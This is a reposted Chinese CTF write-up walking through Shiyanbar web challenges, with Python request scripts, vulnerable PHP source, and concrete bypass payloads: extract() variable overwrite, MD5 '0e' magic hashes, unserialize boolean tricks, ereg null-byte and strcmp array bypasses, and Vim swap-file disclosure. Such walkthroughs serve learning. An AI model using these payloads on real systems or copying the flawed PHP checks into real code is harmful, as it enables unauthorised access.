西普實驗吧-ctf-web-1


天下武功唯快不破

http://ctf4.shiyanbar.com/web/10.php

看題目,是要post一個值過去,看源碼可以知道鍵為key,在Header中可以發現一個字段,FLAG

注釋的重要性:<!-- please post what you find with parameter:key -->

post key=FLAG的值發現提示,必須更快,那么就只有寫腳本來完成了

(注意的是,返回的FLAG解base64之后是xxx:xxx),冒號后面的才是要提交的值,所以這里要分割一下

運行得到flag 

import base64 import urllib2 import urllib
url = 'http://ctf4.shiyanbar.com/web/10.php' 
req = urllib2.Request(url)
rsp = urllib2.urlopen(req)
flag = rsp.info().getheader('FLAG')
flag = base64.b64decode(flag)
flag = flag.split(':')[1] 
print flag
data = urllib.urlencode({'key':flag})
req1 = urllib2.Request(url, data=data)
rsp = urllib2.urlopen(req1).read() 
print rsp

注:查看源碼;Base64編碼

 

安女神之名

1. 和GFW沒有關系,它就是過濾了“安女神”三個字

2.安女神用什么編碼好?備注以GET方式送出,URL編碼沒有什么用處,到了服務器端會被解碼,所以用&#XXX;這種格式的HTML編碼。對照表如下:

http://www.jb51.net/onlineread/htmlchar.htm 

http://www.theukwebdesigncompany.com/articles/entity-escape-characters.php

其實就是Unicode編碼加上了前綴&#。

Unicode編碼在線工具:http://tool.chinaz.com/Tools/unicode.aspx

所以安女神的編碼后得到&#23433;&#22899;&#31070;

好吧,如果你用16進制&#x5b89;&#x5973;&#x795e;

輸入后得到:flag = [[415 Unavailable For Legal Reasons]]

好吧,比較無聊,查看源碼發現flag.

注:查看源碼,HTML實體編碼,Unicode編碼

 

思路很重要

頁面就是http://ctf4.shiyanbar.com/web/9/index.php

404found

我很喜歡。。可是,他不讓查源碼。。好,我就用python發包。或者,Firebug查看一下也可以。。(要選擇顯示注釋,不然看不到,所以還是自己寫程序比較好,這樣信息得到的全,不容易忘)

import urllib2
import urllib
url = 'http://ctf4.shiyanbar.com/web/9/'
req = urllib2.Request(url)
response = urllib2.urlopen(req)
print response.read()

我粗心的沒注意到源碼那句“<!-- 粗心的程序員,寫完代碼也不刪。-->”

所以就不會去查index.php~\index.php.bak這類臨時文件。。

所以就不會發現該文件里的:

$flag='xxx';     
extract($_GET);     
if(isset($shiyan)){        
    $content=trim(file_get_contents($flag));
    if($shiyan==$content){ 
       echo'ctf{xxx}';     }
     else{       
       echo'Oh.no';}   
     }

然后就不會發現,這就是是一個GET提交,然后繞過驗證的問題。

就不會使用 flag=亂七八糟的東西&shiyan=的參數添加來解決問題。關於變量覆蓋,以后還要多學習,這個算基本無阻礙的。。

http://ctf4.shiyanbar.com/web/9/index.php?flag=&shiyan=

得到的結果也不是ctf{xxxxxxx}格式,所以,是加了密的,別怕,最簡單的移位。

注:源碼挖掘,臨時文件

 

Forms

確實很簡單,首先,網頁太簡單了,所以不是源碼里藏了東西,就是發送的時候包里有東西。我們截取包,發現里面有個

image

showsource,必須改為1,然后題就結了。

 

拐彎抹角

我覺得這道題挺不錯,訪問地址是:http://ctf5.shiyanbar.com/10/indirection/index.php

就是分7個步驟判斷URL是否滿足條件,URL重寫的判斷

我覺得源碼很有趣,有教育意義,放出來:

  1 Flag:
  2 <?php 
  3 // code by SEC@USTC 
  4 
  5 echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>'; 
  6 
  7 $URL = $_SERVER['REQUEST_URI']; 
  8 //echo 'URL: '.$URL.'<br/>'; 
  9 $flag = "CTF{???}"; 
 10 
 11 $code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php')); 
 12 $stop = 0; 
 13 
 14 //這道題目本身也有教學的目的 
 15 //第一,我們可以構造 /indirection/a/../ /indirection/./ 等等這一類的 
 16 //所以,第一個要求就是不得出現 ./ 
 17 if($flag && strpos($URL, './') !== FALSE){ 
 18     $flag = ""; 
 19     $stop = 1;        //Pass 
 20 } 
 21 
 22 //第二,我們可以構造 \ 來代替被過濾的 / 
 23 //所以,第二個要求就是不得出現 ../ 
 24 if($flag && strpos($URL, '\\') !== FALSE){ 
 25     $flag = ""; 
 26     $stop = 2;        //Pass 
 27 } 
 28 
 29 //第三,有的系統大小寫通用,例如 indirectioN/ 
 30 //你也可以用?和#等等的字符繞過,這需要統一解決 
 31 //所以,第三個要求對可以用的字符做了限制,a-z / 和 . 
 32 $matches = array(); 
 33 preg_match('/^([a-z\/.]+)$/', $URL, $matches); 
 34 if($flag && empty($matches) || $matches[1] != $URL){ 
 35     $flag = ""; 
 36     $stop = 3;        //Pass 
 37 } 
 38 
 39 //第四,多個 / 也是可以的 
 40 //所以,第四個要求是不得出現 // 
 41 if($flag && strpos($URL, '//') !== FALSE){ 
 42     $flag = ""; 
 43     $stop = 4;        //Pass 
 44 } 
 45 
 46 //第五,顯然加上index.php或者減去index.php都是可以的 
 47 //所以我們下一個要求就是必須包含/index.php,並且以此結尾 
 48 if($flag && substr($URL, -10) !== '/index.php'){ 
 49     $flag = ""; 
 50     $stop = 5;        //Not Pass 
 51 } 
 52 
 53 //第六,我們知道在index.php后面加.也是可以的 
 54 //所以我們禁止p后面出現.這個符號 
 55 if($flag && strpos($URL, 'p.') !== FALSE){ 
 56     $flag = ""; 
 57     $stop = 6;        //Not Pass 
 58 } 
 59 
 60 //第七,現在是最關鍵的時刻 
 61 //你的$URL必須與/indirection/index.php有所不同 
 62 if($flag && $URL == '/indirection/index.php'){ 
 63     $flag = ""; 
 64     $stop = 7;        //Not Pass 
 65 } 
 66 if(!$stop) $stop = 8; 
 67 
 68 echo 'Flag: '.$flag; 
 69 echo '<hr />'; 
 70 for($i = 1; $i < $stop; $i++) 
 71     $code = str_replace('//Pass '.$i, '//Pass', $code); 
 72 for(; $i < 8; $i++) 
 73     $code = str_replace('//Pass '.$i, '//Not Pass', $code); 
 74 
 75 
 76 echo highlight_string($code, TRUE); 
 77 
 78 echo '</body></html>'
http://ctf5.shiyanbar.com/10/indirection/index.php

好吧,不能用 ./ // ../而且還不能在index.php后面加.而且結尾必須是index.php而且不能用正常的訪問路徑。。有同學發現,其實index.php后面加“/亂七八糟,沒有也成/index.php”就可以啦。原因是服務器解析到.php后就把后面的東西當作參數處理了(最新測試這個方法失效了,按理來說這是不應該的。。)

 

天網管理系統

告訴了用戶名和密碼是admin,然沒個鳥用。。

查源碼先:

<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') –>
然后就是md5怎么得到0的問題。。0e+數字

看大神題解,s878926199a、240610708、QNKCDZO、aabg7XSs、aabC9RqS就可以,怎么得到的呢,下次再說吧。。

然后得到提示,查看提示的網頁,得到:

$unserialize_str = $_POST['password'];
     $data_unserialize = unserialize($unserialize_str);
     if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
     {
       print_r($flag);
     }
偉大的科學家php方言道:成也布爾,敗也布爾。
回去吧騷年
view-source:http://ctf10.shiyanbar.com:8888/web1//user.php?fame=hjkleffifer

查了下那個函數,有個大概的認識:http://www.cnblogs.com/yeer/archive/2009/03/25/1421161.html

先試了一下:{s:4:"user";s:5:"admin";s:4:"pass";s:5:"admin";}不理我,,,,

再試:{s:4:"user";b:1;s:4:"pass";b:1;}還是不鳥我。。。

前面標識一下參數個數:a:2:{s:4:"user";b:1;s:4:"pass";b:1;},成了。

 關於==這個,看下這篇文章:http://www.cnblogs.com/ssooking/p/5877086.html

忘記密碼了

這道題確實有難度,轉的比較多,第一個,查源碼,發現如下:

image

然后隨便填一個mail去里面,比如youmail@mail.com然后就彈框:

./step2.php?email=youmail@mail.com&check=??????

image

我們訪問這個鏈接,發現它彈回了step1.php,所以我們就,,,,,,wireshark截取包看了一下(要過濾額),發現了302重定向,所以我就用python發送包,截取了一下內容,發送的時候,用我們上面那個密碼重置鏈接就可以啦:

image

也就是,這個過程是訪問step2.php時,其實是將它內置的test@test.com發到submit.php里去了。那么我們再訪問submit.php,顯示的是"you are not an admin"。

接下來,就是vim的事情了。。Vim會產生臨時文件。那么我們在瀏覽器里訪問.submit.php.swp就可以啦。。。

image

token就是0,並且還要繞過長度限制(要求長度為10)

拿到flag的url : http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000

Once More

php審計題,題目都說了,

<?php
if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
	{
		echo '<p>You password must be alphanumeric</p>';
	}
	else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
	{
		if (strpos ($_GET['password'], '*-*') !== FALSE)
		{
			die('Flag: ' . $flag);
		}
		else
		{
			echo('<p>*-* have not been found</p>');
		}
	}
	else
	{
		echo '<p>Invalid password</p>';
	}
}
?>
php code

ereg判斷是不是字母數字類型

判斷是不是長度<8且>9999999

判斷是不是有“*-*”

構造輸入password=1e9%00*-*

要直接在地址欄輸入,不要在輸入框中。。不然會變成1e9%2500*-*

除此之外,還有個解法:改成password[]=亂七八糟 也就是一個array類型和string比較,會返回NULL

 

輸入密碼

這道題和上面那道挺像,審計代碼

if (isset($_GET['a'])) {  
    if (strcmp($_GET['a'], $flag) == 0)  
        die('Flag: '.$flag);  
    else  
        print '離成功更近一步了';  
}
1.txt

其實是password。。不是a….

輸入a[]=1就繞過了,我覺得這篇文挺好:淺談PHP弱類型安全

 
Guess Next Session

這道題目就是猜密碼?

給出的源碼:

<?php
session_start(); 
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p>Wrong guess.</p>';
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
View Code

session題,只要我一開始不設置session,然后password置為空就好,咋治,截個包,改下session值。。

image

或者清除瀏覽記錄,然后:http://ctf4.shiyanbar.com/web/Session.php?password= 就OK

這道題其實我覺得有點怪,學藝不精吧,但是似乎,用burp直接repeater下就好,把PHPSESSID=空然后password=空就好了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM